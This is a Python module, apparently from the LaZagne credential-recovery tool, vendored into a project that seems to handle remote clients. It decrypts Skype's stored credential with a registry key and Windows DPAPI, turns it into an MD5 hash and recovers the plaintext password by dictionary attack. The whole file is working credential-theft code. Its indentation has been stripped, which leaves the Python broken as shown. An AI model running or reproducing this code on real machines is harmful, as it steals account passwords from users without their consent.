1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
|
# -*- coding: utf-8 -*-
import binascii
import hashlib
import os
import struct
from xml.etree.cElementTree import ElementTree
import foreign.client_handling.lazagne.config.winstructure as win
from foreign.client_handling.lazagne.config.constant import constant
from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC
from foreign.client_handling.lazagne.config.dico import get_dic
from foreign.client_handling.lazagne.config.module_info import ModuleInfo
try:
import _winreg as winreg
except ImportError:
import winreg
class Skype(ModuleInfo):
def __init__(self):
ModuleInfo.__init__(self, 'skype', 'chats', winapi_used=True)
self.pwd_found = []
def aes_encrypt(self, message, passphrase):
iv = '\x00' * 16
aes = AESModeOfOperationCBC(passphrase, iv=iv)
return aes.encrypt(message)
# get value used to build the salt
def get_regkey(self):
try:
key_path = 'Software\\Skype\\ProtectedStorage'
try:
hkey = win.OpenKey(win.HKEY_CURRENT_USER, key_path)
except Exception as e:
self.debug(str(e))
return False
# num = winreg.QueryInfoKey(hkey)[1]
k = winreg.EnumValue(hkey, 0)[1]
return win.Win32CryptUnprotectData(k, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi)
except Exception as e:
self.debug(str(e))
return False
# get hash from foreign.client_handling.lazagne.configuration file
def get_hash_credential(self, xml_file):
tree = ElementTree(file=xml_file)
encrypted_hash = tree.find('Lib/Account/Credentials3')
if encrypted_hash is not None:
return encrypted_hash.text
else:
return False
# decrypt hash to get the md5 to bruteforce
def get_md5_hash(self, enc_hex, key):
# convert hash from hex to binary
enc_binary = binascii.unhexlify(enc_hex)
# retrieve the salt
salt = hashlib.sha1('\x00\x00\x00\x00' + key).digest() + hashlib.sha1('\x00\x00\x00\x01' + key).digest()
# encrypt value used with the XOR operation
aes_key = self.aes_encrypt(struct.pack('I', 0) * 4, salt[0:32])[0:16]
# XOR operation
decrypted = []
for d in range(16):
decrypted.append(struct.unpack('B', enc_binary[d])[0] ^ struct.unpack('B', aes_key[d])[0])
# cast the result byte
tmp = ''
for dec in decrypted:
tmp = tmp + struct.pack(">I", dec).strip('\x00')
# byte to hex
return binascii.hexlify(tmp)
def dictionary_attack(self, login, md5):
wordlist = constant.password_found + get_dic()
for word in wordlist:
hash_ = hashlib.md5('%s\nskyper\n%s' % (login, word)).hexdigest()
if hash_ == md5:
return word
return False
def get_username(self, path):
xml_file = os.path.join(path, u'shared.xml')
if os.path.exists(xml_file):
tree = ElementTree(file=xml_file)
username = tree.find('Lib/Account/Default')
try:
return win.string_to_unicode(username.text)
except Exception:
pass
return False
def get_info(self, key, username, path):
if os.path.exists(os.path.join(path, u'config.xml')):
values = {}
try:
values['Login'] = username
# get encrypted hash from the config file
enc_hex = self.get_hash_credential(os.path.join(path, u'config.xml'))
if not enc_hex:
self.warning(u'No credential stored on the config.xml file.')
else:
# decrypt the hash to get the md5 to brue force
values['Hash'] = self.get_md5_hash(enc_hex, key)
values['Pattern to bruteforce using md5'] = win.string_to_unicode(values['Login']) + u'\\nskyper\\n<password>'
# Try a dictionary attack on the hash
password = self.dictionary_attack(values['Login'], values['Hash'])
if password:
values['Password'] = password
self.pwd_found.append(values)
except Exception as e:
self.debug(str(e))
def run(self):
path = os.path.join(constant.profile['APPDATA'], u'Skype')
if os.path.exists(path):
# retrieve the key used to build the salt
key = self.get_regkey()
if not key:
self.error(u'The salt has not been retrieved')
else:
username = self.get_username(path)
if username:
d = os.path.join(path, username)
if os.path.exists(d):
self.get_info(key, username, d)
if not self.pwd_found:
for d in os.listdir(path):
self.get_info(key, d, os.path.join(path, d))
return self.pwd_found
|